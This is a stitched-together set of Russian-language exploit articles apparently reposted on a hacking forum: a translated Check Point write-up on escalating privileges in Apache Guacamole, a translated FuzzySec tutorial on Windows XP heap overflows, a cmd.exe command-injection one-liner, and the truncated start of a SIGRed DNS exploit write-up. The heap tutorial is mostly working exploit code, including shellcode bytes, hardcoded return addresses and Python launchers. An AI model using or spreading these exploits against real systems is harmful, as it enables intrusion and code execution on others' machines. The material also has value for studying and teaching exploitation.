Если мы углубимся в архитектуру сети шлюза Guacamole, которую мы видели ранее, мы увидим следующее:
Для повышения привилегий мы фокусируемся на этих двух компонентах:
- guacamole-client - помечен как веб-сервер.
- сервер гуакамоле - помечен как прокси.Click to expand...
guacamole-client
Компонент guacamole-client отвечает за веб-сервер, который выполняет аутентификацию пользователя. Этот веб-сервер содержит конфигурации, необходимые для каждого сеанса пользователя, и хранит такую информацию, как:
- Требуемый протокол - Обычно RDP.
- IP-адрес ПК работника внутри сети
- И так далее.Click to expand...
После успешной аутентификации клиента, клиент guacamole инициирует сеанс протокола Guacamole с сервером Guacamole, чтобы создать соответствующий сеанс для клиента. Это делается путем подключения к серверу guacamole через TCP-порт 4822 (по умолчанию), который прослушивает процесс guacd.
После создания сеанса, клиент-guacamole передает информацию только между сервером guacamole и браузером клиента.
guacamole-server
Согласно документации Apache: "guacd - это сердце guacd". После запуска, guacd прослушивает TCP-порт 4822 и ожидает входящих инструкций от клиента guacamole. Важно отметить, что связь через этот порт не использует аутентификацию или шифрование (SSL может быть включен, но он не используется по умолчанию). По этой причине, мы добавили два брандмауэра на Рисунке 12, которые должны отвечать за ограничение доступа к этому TCP-порту, позволяя подключаться только guacamole-клиенту.
Когда соединение установлено, guacd создает новый поток и вызывает функцию, которая отвечает за запуск протокола Guacamole. На данный момент есть два варианта пользователя:
- Создать новое соединение.
- Присоединиться к существующему соединению.Click to expand...
Дополнительное примечание: Мы используем термин соединение вместо сеанса, поскольку этот термин используется Guacamole для обозначения соединения с данным компьютером. Каждый компьютер имеет одно соединение, и несколько пользователей могут использовать одно и то же соединение. Не существует "пользовательского сеанса", поскольку весь проект основан на соединении Guacamole с данным компьютером, и пользователи просто присоединяются к соединениям.
Первый вариант, безусловно, наиболее широко используемый. В этом случае, для вновь созданного соединения генерируется случайный уникальный идентификатор (UUID), и для него создается процесс fork(). Отображение между UUID и новым процессом сохраняется в словаре в памяти, называемом proc-map, и UUID отправляется обратно клиенту guacamole. Важно отметить, что порожденный процесс немедленно отбрасывает свои разрешения, прежде чем он инициирует соединение с компьютером внутри сети.
Второй вариант довольно уникален и, вероятно, был реализован таким образом, чтобы несколько пользователей могли совместно использовать одно соединение и работать вместе. В этом случае, пользователь запрашивает присоединение к существующему соединению, предоставляя UUID соединения. Чтобы различать пользователей, пользователь, создавший соединение, является "владельцем", а другим пользователям для "владельца" установлено значение false. Эта опция также включает возможность подключения только для чтения для пользователей, которые не помечены как "владелец".
Для поддержки присоединения пользователей порожденный процесс для данного соединения наследует пару сокетов для связи с родительским процессом guacd.В то время как основной поток инициализирует требуемый клиент, например FreeRDP для соединения RDP, другой поток ожидает сообщений от родительского процесса, сигнализируя нашему процессу, что новый пользователь попросил присоединиться к соединению.
Процесс guacd действует как менеджер соединений, который порождает процессы для каждого соединения, и в то же время также реализует основную логику для этих порожденных процессов. По этой причине отныне мы будем называть родительский процесс guacd основным процессом.
**Повышение привилегий - шаг за шагом
Шаг # 0 - Возьмите один процесс guacd**
У нас уже есть рабочий эксплойт для этой части.
Шаг # 1 - Masquerade as the guacamole-client
Хотя процесс guacd, который мы контролируем, является только процессом с низкими привилегиями, который выполняется внутри шлюза, он все еще имеет несколько полезных привилегий. Для начала, запуск на шлюзе позволяет нам подключаться к основному процессу через TCP-порт 4822. Поскольку основной процесс не ожидает аутентификации через этот порт, ничто не мешает нам подключиться к нему и контролировать процесс точно так же, как это делает обычный guacamole-клиент.
Шаг # 2 - Собирайте секреты из нашей памяти
Это ключевой выбор дизайна для нас для эксплоита. Так как исполняемый файл guacd содержит логику как основного процесса, так и процессов для каждого соединения, при создании нового процесса соединения используется только fork(). Этот оператор повторяется: используется только fork() без execve ()!
Что это значит? Разветвленный процесс содержит весь снимок памяти своего родителя, и этот снимок заменяется новым образом при вызове execve(). Без этого важного вызова дочерний процесс наследует все адресное пространство памяти своего родителя. Это включает:
- Полный макет памяти - Полезно для обхода ASLR, когда мы хотим атаковать родительский процесс.
- Полный объем памяти. Каждый секрет, хранящийся в первичном процессе, передается и дочернему процессу.Click to expand...
Это означает, что наш процесс имеет отображение proc-map, которое сопоставляет UUID каждого секретного соединения с соответствующим процессом. Нам нужно только найти эту структуру данных в нашей памяти, и у нас будут все текущие активные UUID.
Расположение самой proc-карты было чисто техническим. В нашем эксплойте, мы
нашли его, прочитав файл макета памяти нашего proc из /proc/
Шаг # 3 - Присоединиться ко всем сессиям
Мы уже убедили основной процесс в том, что мы можем инициировать запросы по протоколу гуакамоле, и теперь мы даже знаем, какие запросы запрашивать. Наш следующий шаг - запросить присоединение к каждому из существующих соединений, указав их теперь известные UUID.
Удивительно, но атрибут сеанса "только для чтения" устанавливается клиентом guacamole. Это означает, что, хотя мы не являемся владельцами соединений, мы все равно можем отключить бит привилегии "только для чтения" для нашего присоединяющегося пользователя и получить полные разрешения для соединения. Кроме того, кроме сообщения журнала в основном процессе, как видно на Рисунке 14, нет никаких видимых признаков того, что другой пользователь только что присоединился к соединению.
Шаг # 4 - Повторение
Если вы уделяли пристальное внимание, вы, возможно, заметили недостаток в нашем плане атаки: наш процесс guacd имеет устаревшее изображение отображение proc-map. Любой сеанс, который начинается после того, как мы были порождены, будет обновляться только на proc-map и поэтому не будет доступен в нашем устаревшем образе памяти.
Этот недостаток имеет простое решение. Каждый выбранный интервал, скажем, 5 минут, мы можем отправлять первичному процессу команду на запуск нового RDP- соединения и подключение к нашей зараженной машине в сети. Таким образом, новый guacd порождается, и теперь содержит обновленную версию proc-map. Используя наш оригинальный эксплойт, мы также можем атаковать этот процесс и "обновить" нашу версию proc-map.
Вот полная цепочка эксплойтов, RCE + PE, в действии:
Хронология раскрытия
- 31 марта 2020 года - уязвимости были раскрыты Apache.
- 31 марта 2020 года - Apache ответил и запросил дополнительную информацию.
- 31 марта 2020 года - Уязвимости были раскрыты FreeRDP.
- 31 марта 2020 года - FreeRDP ответил и запросил дополнительную информацию.
- 31 марта 2020 года - FreeRDP уведомил нас о том, что как CPR-ID-2145, так и CPR-ID-2156 являются дубликатами, поскольку об этом уже сообщалось отдельно 30 марта 2020 г.
- 08 мая 2020 года - Apache исправил уязвимости в тихом коммите, помешенном на их GitHub.
- 10 мая 2020 года - Аы уведомили Apache о том, что их исправление устраняет все обнаруженные уязвимости.
- 12 мая 2020 года - Apache выпустил 2 CVE-ID для 4 зарегистрированных уязвимостей.
- 28 июня 2020 года - Apache выпустил официальную исправленную версию — 1.2.0.Click to expand...
Заключение
Мы продемонстрировали новый взгляд на сценарий Reverse RDP Attack, который мы первоначально представили в начале 2019 года. Хотя пользователи обычно думают о клиенте RDP ... ну ... как о клиенте, сценарий Apache Guacamole учит нас иначе. В стандартном случае злоумышленник может использовать уязвимость в клиенте для получения контроля над одним корпоративным компьютером. Однако при развертывании в шлюзе такие уязвимости оказывают гораздо более серьезное влияние на организацию.
Хотя переход к удаленной работе из дома является необходимостью в эти трудные
времена пандемии COVID-19, мы не можем пренебрегать последствиями таких
удаленных подключений для безопасности. Используя Apache Guacamole в качестве
примера, мы смогли успешно продемонстрировать, как скомпрометированный
компьютер внутри организации можно использовать для управления шлюзом, который
обрабатывает все удаленные сеансы в сети.
Получив контроль над шлюзом, злоумышленник может прослушивать все входящие
сеансы, записывать все используемые учетные данные и даже запускать новые
сеансы для управления остальными компьютерами в организации. Когда большая
часть организации работает удаленно, эта точка опоры равносильна получению
полного контроля над всей организационной сетью.
Мы настоятельно рекомендуем всем убедиться в том, что все серверы обновлены и что любая технология, используемая для работы на дому, полностью исправлена, чтобы блокировать такие попытки атаки. В нашем случае, в течение 24 часов с момента обнаружения уязвимостей и доказательства того, что они действительно могут быть использованы, мы внедрили исправление безопасности и стали первой производственной средой, защищенной от этой уязвимости безопасности, что обеспечило безопасное удаленное подключение наших сотрудников.
Источник: https://research.checkpoint.com/2020/apache-guacamole-rce/
Автор перевода: yashechka
Переведено специально для портала XSS.is (c)
Введение
Всем привет! Вы, наверное, думаете: Что мне дадут туториалы по эксплуатации кучи от b33f’а? Я надеюсь, это короткое введение ответит на все вопросы. Как вы наверняка знаете, я очень интересуюсь разработкой эксплойтов.
Когда я начинал учиться чёрной магии, которой является разработка эксплойтов, было всего несколько ресурсов, где можно было достать бесценную информацию.
Именно поэтому, когда я увидел этот твит от mr_me, я понял, что я должен сделать что-то ради сохранения его туториалов по эксплуатации кучи Windows.
Я решил, что не буду продлять мой старый доменhttp://t.co/gvVS4gCKCG, поэтому, если вы интересуетесь переполнением буфера, я рекомендую вам выкачивать содержимое прямо сейчас. — mr_me (@ae0n) Июнь 25, 2015_
Я написал письмо mr_me. Он сказал, было бы круто, если бы я вместе с ним опубликовал его посты на FuzzySec. Все туториалы серии “Переполнение буфера для людей” были сохранены в оригинальном виде. Единственное, что я добавил, это возможность интегрировать их в сайт. Это нужно для того чтобы они коррелировали с общей темой FussySec.
Переполнение буфера кучи. Часть первая
Ранее, изучая переполнение стека, мы получали контроль над регистром инструкций (EIP – Extended Instruction Pointer – расширенный указатель на инструкцию) с помощью обработчика прерывания или напрямую. Сегодня мы рассмотрим техники, проверенные временем. Они позволяют получить контроль за выполнением программы без прямого использования EIP или SEH (Structured Exception Handling – структурированная обработка исключений). С их помощью, перезаписывая некоторые ячейки в памяти определёнными значениями, мы можем добиться перезаписи любого значения DWORD (DOUBLE WORD – двойное машинное слово. Обычно 32 бита) в памяти.
Если вы не знакомы с принципами переполнения буфера стека на среднем или продвинутом уровне, я рекомендую вам сперва сфокусироваться на этой теме. То, что мы будем обсуждать, уже давно устарело, поэтому, если вы ищете новые техники эксплуатации менеджера кучи Windows, не тратьте здесь время ?
Что вам понадобится:
– Windows XP с установленным SP1
– Отладчик (Olly Debugger, Immunity Debugger, windbg и т.д.)
– Компилятор C/C++ (Dev C++, lcc-32, MS visual C++ 6.0 (если вы сможете его
достать)).
– Удобный для вас скриптовый язык (Я использую python, вы можете пользоваться
perl)
– Мозги (и/или настойчивость)
– Некоторые знания Ассемблера, C. Также умение использовать плагин HideDbg для
Olly или !hidedebug в Immunity debugger
– Время.
Давайте сфокусируемся на базовых понятиях и основах. Скорее всего техники, которые мы рассмотрим уже устарели для использования в “реальном мире”, однако вы должны всегда помнить: если вы хотите двигаться вперёд, вам нужно знать прошлое.
Что такое куча и как она работает в XP?
Куча — это часть оперативной памяти, в которой процесс может хранить данные. Каждый процесс динамически запрашивает (аллоцирует (allocate)) и освобождает из неё кусочки памяти в зависимости от требований приложения. Важно отметить, что стэк растёт сверху вниз, то есть в сторону адреса 0x00000000. Куча в свою очередь растёт снизу-вверх – в сторону адреса 0xFFFFFFFF. Когда процесс дважды вызывает HeapAllocate(), второй вызов вернёт указатель, находящийся выше первого. Таким образом любое переполнение в первом блоке затрагивает второй.
Каждый процесс, пользуется ли он стандартной кучей процесса или динамически аллоцированной, имеет несколько структур данных. Одной из них является массив из 128 структур LIST_ENTRY, которые отслеживают свободные блоки. Он называется FreeLists. Каждый элемент содержит два указателя в начале массива и расположен по смещению 0x178 относительно базовой структуры кучи. Когда куча создаётся, обоим указателям присваивается адрес FreeLists[0]. Они указывают на первый свободный блок доступной памяти.
Давайте рассмотрим это поподробнее. Допустим, у нашей кучи был базовый адрес 0x00650000 и первый доступный блок расположен по адресу 0x00650688. Тогда у нас есть четыре следующих адреса:
Code:Copy to clipboard
0x00650178 (Freelist[0].Flink) указатель на значение 0x00650688 (1-й свободный блок)
0x0065017c (FreeList[0].Blink) указатель на значение 0x00650688 (1-й свободный блок)
0x00650688 (1й свободный блок) указатель на значение 0x00650178 (FreeList[0])
0x0065068c (1й свободный блок) указатель на значение 0x00650178 (FreeList[0])
При аллокации указатели FreeList[0].Flink и FreeList[0].Blink обновляются и указывают на следующий свободный блок. Далее указатели на FreeList перемещаются на конец свежеаллоцированного блока. Они обновляются при каждой аллокации или освобождении памяти (unlink). Таким образом вся работа с памятью отслеживается в двусвязном списке.
При переполнении буфера кучи и перезаписи её служебных данных, перезапись этих указателей позволяет получать доступ к произвольным DWORD значениям в памяти. В такой ситуации атакующий может изменять управляющие данные программы, такие как указатели на функции, что позволяет получить полный контроль над выполнением.
Эксплуатация переполнения буфера кучи с использованием векторной обработки исключений (VEH)
Для начала взглянем на файл heap-veh.c:
C:Copy to clipboard
#include <windows.h>
#include <stdio.h>
DWORD MyExceptionHandler(void);
int foo(char *buf);
int main(int argc, char *argv[])
{
HMODULE l;
l = LoadLibrary("msvcrt.dll");
l = LoadLibrary("netapi32.dll");
printf("\n\nHeapoverflow program.\n");
if(argc != 2)
return printf("ARGS!");
foo(argv[1]);
return 0;
}
DWORD MyExceptionHandler(void)
{
printf("In exception handler....");
ExitProcess(1);
return 0;
}
int foo(char *buf)
{
HLOCAL h1 = 0, h2 = 0;
HANDLE hp;
__try{
hp = HeapCreate(0,0x1000,0x10000);
if(!hp){
return printf("Failed to create heap.\n");
}
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260);
printf("HEAP: %.8X %.8X\n",h1,&h1);
// Heap Overflow occurs here:
strcpy(h1,buf);
// This second call to HeapAlloc() is when we gain control
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260);
printf("hello");
}
__except(MyExceptionHandler())
{
printf("oops...");
}
return 0;
}
Из кода выше видно, что мы используем обработку исключений с использованием блока __try .. __catch. Скомпилируйте этот файл в Windows XP SP1.
Запустив приложение в командной строке, обратите внимание, что для срабатывания исключения потребовалось больше 260 символов (байт).
Самое время запустить его в отладчике. Контроль за исполнением мы получаем при второй аллокации (потому что freelist[0] перезаписан атакующей строкой при первой аллокации).
Code:Copy to clipboard
MOV DWORD PTR DS:[ECX],EAX
MOV DWORD PTR DS:[EAX+4],ECX
Эти инструкции говорят: “Сделай текущее значение EAX указателем на ECX, а текущее значение ECX указателем на ячейку, которая находится через 4 байта после EAX”. Отсюда мы узнали, каким образом мы освобождаем (freeing, unlinking) первый блок аллоцированной памяти.
Code:Copy to clipboard
EAX (что мы пишем) : Blink
ECX (куда мы пишем) : Flink
Так что же такое векторная обработка исключений?
Векторная обработка исключений появилась в Windows XP и хранит структуры зарегистрированных исключений в куче, в отличие от традиционной фреймовой обработки исключений, известной как SEH. SEH хранит эти структуры на стеке. Этот тип исключений вызывается до запуска любых других обработчиков, основанных на фреймах. Ниже представлено объявление этой структуры:
C:Copy to clipboard
struct _VECTORED_EXCEPTION_NODE
{
DWORD m_pNextNode;
DWORD m_pPreviousNode;
PVOID m_pfnVectoredHandler;
}
Всё, что нужно знать, это что m_pNextNode указывает на следующую структуру _VECTORED_EXCEPTION_NODE. Таким образом мы должны переписать этот указатель. Но какой адрес нам нужен? Давайте взглянем на код, работающий с _VECTORED_EXCEPTION_NODE:
Code:Copy to clipboard
77F7F49E 8B35 1032FC77 MOV ESI,DWORD PTR DS:[77FC3210]
77F7F4A4 EB 0E JMP SHORT ntdll.77F7F4B4
77F7F4A6 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8]
77F7F4A9 50 PUSH EAX
77F7F4AA FF56 08 CALL DWORD PTR DS:[ESI+8]
Сперва мы перемещаем в ESI указатель _VECTORED_EXCEPTION_NODE и через пару команд вызываем ESI+8. Если мы сделаем так, что указатель на следующую структуру в _VECTORED_EXCEPTION_NODE будет содержать [#адрес_нашего_шеллкода-0x08], тогда мы легко передадим ему управление. Где искать указатель на наш шеллкод? Вот же он, на стеке:
Тут видно адрес нашего шеллкода на стеке. Давайте, особо не напрягаясь, попробуем значение прямо из отладчика – 0x0012ff40. Не забыли, что вызывается esi+8? Чтобы вызвать наш код, нужно сместиться на 8 байт: 0x0012ff40 – 0x08 = 0x0012ff38. Отлично! Тогда ECX будет присвоено 0x0012ff40. Как же нам найти m_nextNode (указатель на следующую структуру _VECTORED_EXCEPTION_NODE)? Сделаем несколько шагов в отладчике дальше, пока не будет подготовлен вызов первого _VECTORED_EXCEPTION_NODE. Тут мы и получим указатель:
Code:Copy to clipboard
77F60C2C BF 1032FC77 MOV EDI,ntdll.77FC3210
77F60C31 393D 1032FC77 CMP DWORD PTR DS:[77FC3210],EDI
77F60C37 0F85 48E80100 JNZ ntdll.77F7F485
В EDI записывается m_pNextNode (тот указатель, что нам нужен). Замечательно, присвоим EAX это значение. Мы пришли к тому, что ECX = 0x77fc3210, EAX = 0x0012ff38. Разумеется, нам нужны смещения для EAX и ECX. Чтобы их найти, сгенерируем msf последовательность и скормим её приложению. Ниже небольшая напоминалочка:
Вычисляем смещения, включив режим скрытия отладки, и дожидаясь срабатывания исключения.
Ок, вот скелет нашего PoC эксплойта:
Python:Copy to clipboard
import os
# _vectored_exception_node
exploit = ("\xcc" * 272)
# ECX pointer to next _VECTORED_EXCEPTION_NODE = 0x77fc3210 - 0x04
# due to second MOV writes to EAX+4 == 0x77fc320c
exploit += ("\x0c\x32\xfc\x77") # ECX
# EAX ptr to shellcode located at 0012ff40 - 0x8 == 0012ff38
exploit += ("\x38\xff\x12") # EAX - we don't need the null byte
os.system('"C:\\Documents and Settings\\Steve\\Desktop\\odbg110\\OLLYDBG.EXE" heap-veh.exe ' + exploit)
На этом этапе мы не можем получить доступ к нашему шеллкоду, потому что он содержит нулевой байт. Это не всегда бывает проблемой, поскольку в этом примере мы используем strcpy для сохранения нашего буфера в куче.
Отлично, в данный момент мы добрались до брейкпойта на “\xcc” и можем просто заменить его каким-то шеллкодом. Помните, что он должем быть меньше 272 байт, потому что это единственное место, где мы его можем разместить.
Python:Copy to clipboard
import os
import win32api
calc = (
"\xda\xcb\x2b\xc9\xd9\x74\x24\xf4\x58\xb1\x32\xbb\xfa\xcd" +
"\x2d\x4a\x83\xe8\xfc\x31\x58\x14\x03\x58\xee\x2f\xd8\xb6" +
"\xe6\x39\x23\x47\xf6\x59\xad\xa2\xc7\x4b\xc9\xa7\x75\x5c" +
"\x99\xea\x75\x17\xcf\x1e\x0e\x55\xd8\x11\xa7\xd0\x3e\x1f" +
"\x38\xd5\xfe\xf3\xfa\x77\x83\x09\x2e\x58\xba\xc1\x23\x99" +
"\xfb\x3c\xcb\xcb\x54\x4a\x79\xfc\xd1\x0e\x41\xfd\x35\x05" +
"\xf9\x85\x30\xda\x8d\x3f\x3a\x0b\x3d\x4b\x74\xb3\x36\x13" +
"\xa5\xc2\x9b\x47\x99\x8d\x90\xbc\x69\x0c\x70\x8d\x92\x3e" +
"\xbc\x42\xad\x8e\x31\x9a\xe9\x29\xa9\xe9\x01\x4a\x54\xea" +
"\xd1\x30\x82\x7f\xc4\x93\x41\x27\x2c\x25\x86\xbe\xa7\x29" +
"\x63\xb4\xe0\x2d\x72\x19\x9b\x4a\xff\x9c\x4c\xdb\xbb\xba" +
"\x48\x87\x18\xa2\xc9\x6d\xcf\xdb\x0a\xc9\xb0\x79\x40\xf8" +
"\xa5\xf8\x0b\x97\x38\x88\x31\xde\x3a\x92\x39\x71\x52\xa3" +
"\xb2\x1e\x25\x3c\x11\x5b\xd9\x76\x38\xca\x71\xdf\xa8\x4e" +
"\x1c\xe0\x06\x8c\x18\x63\xa3\x6d\xdf\x7b\xc6\x68\xa4\x3b" +
"\x3a\x01\xb5\xa9\x3c\xb6\xb6\xfb\x5e\x59\x24\x67\xa1\x93")
# _vectored_exception_node
exploit = ("\x90" * 5)
exploit += (calc)
exploit += ("\xcc" * (272-len(exploit)))
# ECX pointer to next _VECTORED_EXCEPTION_NODE = 0x77fc3210 - 0x04
# due to second MOV writes to EAX+4 == 0x77fc320c
exploit += ("\x0c\x32\xfc\x77") # ECX
# EAX ptr to shellcode located at 0012ff40 - 0x8 == 0012ff38
exploit += ("\x38\xff\x12") # EAX - we dont need the null byte
win32api.WinExec(('heap-veh.exe %s') % exploit, 1)
Эксплуатация переполнения кучи с использованием фильтра необработанных исключений.
Фильтр необработанных исключений (Unhandled Exception Filter – UEF) является последним исключением, которое отрабатывает перед завершением приложения. Именно он ответственен за вывод часто встречающегося сообщения “An unhandled error occurred” (в русской винде “Произошла неизвестная ошибка”), выводящееся при внезапном падении программы. На данном этапе мы уже контролируем содержимое EAX и ECX и знаем смещения для обоих регистров:
Python:Copy to clipboard
import os
exploit = ("\xcc" * 272)
exploit += ("\x41" * 4) # ECX
exploit += ("\x42" * 4) # EAX
exploit += ("\xcc" * 272)
os.system('"C:\\Documents and Settings\\Steve\\Desktop\\odbg110\\OLLYDBG.EXE" heap-uef.exe ' + exploit)
В отличие от предыдущего примера, наш heap-uef.c не содержит ни следа от обработчика исключений. Это значит, что мы будем эксплуатировать UEF. Ниже содержимое файла heap-uef.c:
C:Copy to clipboard
#include <stdio.h>
#include <windows.h>
int foo(char *buf);
int main(int argc, char *argv[])
{
HMODULE l;
l = LoadLibrary("msvcrt.dll");
l = LoadLibrary("netapi32.dll");
printf("\n\nHeapoverflow program.\n");
if(argc != 2)
return printf("ARGS!");
foo(argv[1]);
return 0;
}
int foo(char *buf)
{
HLOCAL h1 = 0, h2 = 0;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
if(!hp)
return printf("Failed to create heap.\n");
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260);
printf("HEAP: %.8X %.8X\n",h1,&h1);
// Heap Overflow occurs here:
strcpy(h1,buf);
// We gain control of this second call to HeapAlloc
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260);
printf("hello");
return 0;
}
При отладке этого типа переполнения важно включать анти-дебаггинг в отладчике. Это нужно, чтобы вызывался UEF, а также не менялись наши смещения для регистров. В первую очередь нам нужно понять, где мы должны писать наш dword. Это будет указатель на UEF. Его мы получим, внимательно рассмотрев вызов SetUnhandledExceptionFilter().
Инструкция MOV записывает значение по адресу UnhandledExceptionFilter (0x77ed73b4):
При вызове SetUnhandledExceptionFilter(), в регистр ECX будет записано значение указателя, которое хранится в UnhandledExceptionFilter. Сперва это может запутать, ведь освобождение памяти приводит к присвоению регистра EAX содержимого ECX, но тут особый случай. Мы просто используем побочный эффект функции SetUnhandledExceptionFilter() при присваивании значения UnhandledExceptionFilter. Теперь мы можем с уверенностью сказать, что ECX содержит указатель на наш шеллкод. Следующие строчки должны развеять любые сомнения:
Code:Copy to clipboard
77E93114 A1 B473ED77 MOV EAX,DWORD PTR DS:[77ED73B4]
77E93119 3BC6 CMP EAX,ESI
77E9311B 74 15 JE SHORT kernel32.77E93132
77E9311D 57 PUSH EDI
77E9311E FFD0 CALL EAX
По сути, значение UnhandledExceptionFilter() записывается в EAX и через пару команд происходит вызов по адресу в EAX. То есть UnhandledExceptionFilter() –> [указатель атакующего], затем этот указатель помещается в EAX и получает управление. Его получает наш шеллкод или инструкция, приводящая нас к шеллкоду.
Если мы взглянем на EDI, мы заметим, что указатель смещён на 0x78 байт от конца пэйлоада.
Если мы просто вызовем этот указатель – мы запустим шеллкод. Таким образом EAX должен указывать на инструкцию вида:
call dword ptr ds:[edi+74]
Её легко можно найти во многих модулях XP SP1.
Запишем эти значения в наш PoC и взглянем, куда они нас приведут:
Python:Copy to clipboard
import os
exploit = ("\xcc" * 272)
exploit += ("\xad\xbb\xc3\x77") # ECX 0x77C3BBAD --> call dword ptr ds:[EDI+74]
exploit += ("\xb4\x73\xed\x77") # EAX 0x77ED73B4 --> UnhandledExceptionFilter()
exploit += ("\xcc" * 272)
os.system('"C:\\Documents and Settings\\Steve\\Desktop\\odbg110\\OLLYDBG.EXE" heap-uef.exe ' + exploit)
Разумеется, мы просто посчитаем смещение к этой части шеллкода и вставим инструкцию JMP в него:
Python:Copy to clipboard
import os
calc = (
"\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xB9"
"\x44\x80\xc2\x77" # address to WinExec()
"\xFF\xD1\x90\x90")
exploit = ("\x44" * 264)
exploit += "\xeb\x14" # our JMP (over the junk and into nops)
exploit += ("\x44" * 6)
exploit += ("\xad\xbb\xc3\x77") # ECX 0x77C3BBAD --> call dword ptr ds:[EDI+74]
exploit += ("\xb4\x73\xed\x77") # EAX 0x77ED73B4 --> UnhandledExceptionFilter()
exploit += ("\x90" * 21)
exploit += calc
os.system('heap-uef.exe ' + exploit)
Бум!
Заключение
Мы продемонстрировали две техники эксплуатации unlink() в примитивной форме в Windows XP SP1. Возможно применение и других техник, таких как RtlEnterCriticalSection или TEB (Thread Information Block) Exception Handler. В следующем туториале я покажу, как эксплуатировать unlink() (HeapAlloc/HeapFree) в Windows SP2 и SP3 и обходить защиту кучи.
POC’s
– http://www.exploit-db.com/exploits/12240/
– http://www.exploit-db.com/exploits/15957/
Ссылки
– The shellcoder’s handbook (Chris Anley, John Heasman, FX, Gerardo Richarte)
– David Litchfield (<http://www.blackhat.com/presentations/win-usa-04/bh-
win-04-litchfield/bh-win-04-litchfield.ppt>)
Источник:
![dc7495.org](/proxy.php?image=http%3A%2F%2Fdc7495.org%2Faybbtu%2Fuploads%2F2020%2F04%2Fword- image-51.png&hash=ad0172b66cdb497078ca374f8be75282&return_error=1)
In Mother Russia, we, people from a small satellite city, founded a community based on freedom, equality, brotherhood. A community with clear goals, rules and a cordial, cosy atmosphere.
dc7495.org
Оригинал:
__
www.fuzzysecurity.com
__
www.fuzzysecurity.com
Автор: Перевод – Анонимный переводчик, ред. @N3M351D4
fuzzysecurity (с)
Исследователь безопасности Юлиан Хорошкевич (Julian Horoszkiewicz)
[обнаружил](https://hackingiscool.pl/cmdhijack-command-argument-confusion-
with-path-traversal-in-cmd-exe/) уязвимость в интерпретаторе командной строки
cmd.exe, позволяющую выполнение произвольных команд.
В поисках новых векторов атак, позволяющих внедрение команд в Windows,
Хорошкевич обнаружил проблему, которую охарактеризовал как смесь
«несоответствия команды/аргумента с обходом каталога». В ходе тестирования
исследователь использовал Windows 10 Pro x64 (Microsoft Windows [Version
10.0.18363.836]) и версию cmd.exe 10.0.18362.449 (SHA256:
FF79D3C4A0B7EB191783C323AB8363EBD1FD10BE58D8BCC96B07067743CA81D5). Наверняка
обнаруженная Хорошкевичем атака должна работать на всех версиях.
Code:Copy to clipboard
cmd.exe /c "ping 127.0.0.1/../../../../../../../../../../windows/system32/calc.exe"
Тестирование на проникновение с использованием шеллкода
You must have at least 5 reaction(s) to view the content.
Автор: Valentina Palmiotti (@chompie), ведущий исследователь безопасности
В Grapl мы считаем, что для создания лучшей системы защиты нам необходимо
глубоко понимать поведение злоумышленников.
В рамках этой цели мы инвестируем в исследования в области безопасности.
Следите за новостями в нашем блоге, чтобы узнать о новых исследованиях
уязвимостей с высоким уровнем риска, их эксплуатации и тактике сложных угроз.
RCE PoC для CVE-2020-1350 SIGRed можно найти здесь:https://github.com/chompie1337/SIGRed_RCE_PoC
Обзор
SIGRed, CVE-2020-1350, представляет собой уязвимость в службе DNS Microsoft
Windows, которая была обнаружена 14 июля 2020 года. Она была обнаружена Саги
Цадиком из Check Point Research
[[1]](https://research.checkpoint.com/2020/resolving-your-way-into-domain-
admin-exploiting-a-17-year-old-bug-in-windows-dns-servers/), которая
опубликовала подробное описание ошибка в день выпуска патча. Уязвимость
получила 10,0 балла по шкале CVSS - наивысший уровень серьезности. В Windows
DNS-сервер является контроллером домена, а его администраторы входят в группу
администраторов домена. По умолчанию группа администраторов домена является
членом группы администраторов на всех компьютерах, которые присоединились к
домену, включая контроллеры домена [[8]](https://docs.microsoft.com/en-
us/windows/security/identity-protection/access-control/active-directory-
security-groups). При осторожном использовании злоумышленники могут удаленно
выполнить код в уязвимой системе и получить права администратора домена,
эффективно поставив под угрозу всю корпоративную инфраструктуру. Эта статья
содержит подробное описание методов эксплойтов, использованных в выпущенном
доказательстве концепции [2].
Уязвимость
CVE-2020-1350 - это уязвимость, integer overflow, которая приводит к heap-
based buffer переполнению при обработке искаженных записей ресурсов SIG DNS.
Запись SIG - это тип записи ресурса DNS, который содержит цифровую подпись для
набора записей (одна или несколько записей DNS с одинаковым именем и типом)
[10]. Чтобы
использовать SIGRed, злоумышленник может настроить «злой» домен, NS-запись
которого указывает на вредоносный DNS-сервер. Когда клиент делает DNS-запрос
для «злого» домена серверу-жертве, сервер-жертва запрашивает DNS-сервер,
расположенный над ним. DNS-сервер ответит NS-записью, указывающей, что
вредоносный DNS-сервер является органом власти для этого домена, и запись
будет кэширована жертвой. Впоследствии, когда клиент отправляет жертве запрос
DNS SIG для домена, сервер жертвы запрашивает вредоносный DNS-сервер.
Вредоносный DNS-сервер отправит в ответ искаженную DNS-запись SIG.
Уязвимость присутствует в функции dns!SigWireRead
(в двоичном файле службы
DNS, dns.exe), которая используется для кэширования ответа DNS-записи SIG от
другого DNS-сервера.
См. Строку 11 в декомпиляции уязвимой функции dns! SigWireRead. В функцию RR_AllocateEx передается 16-битовое целое число без знака в качестве параметра размера. Можно отправить ответ записи DNS SIG, рассчитанный размер которого превышает 0xFFFF, что вызывает integer overflow.
Триггерим уязвимость
Из-за ограничений на размер пакета невозможно вызвать уязвимость, отправив
только SIG-запись с очень большой подписью. Фактически, запуск уязвимости
невозможен через UDP, потому что максимально допустимый размер сообщения DNS
через UDP составляет 512 или 4096 байт, в зависимости от того, поддерживает ли
сервер EDNS0. В любом случае этого недостаточно, чтобы вызвать уязвимость.
Используя усечение DNS [[9]](https://serverfault.com/questions/991520/how-is-
truncation-performed-in-dns-according-to-rfc-1035), злонамеренный DNS-сервер
может сказать серверу-жертве повторить запрос по TCP. Общий предел размера
сообщения DNS по TCP составляет 64 КБ (0xFFFF). Этого все еще недостаточно,
чтобы активировать уязвимость, поскольку лимит сообщений включает пространство
для заголовков и исходного запроса.
DNS Name Compression
DNS-имена могут быть сжаты в DNS-сообщении, и часто это происходит. Управляя
сжатием имени в сообщении DNS через TCP, можно увеличить sigName.Length
без
увеличения общего размера сообщения DNS.
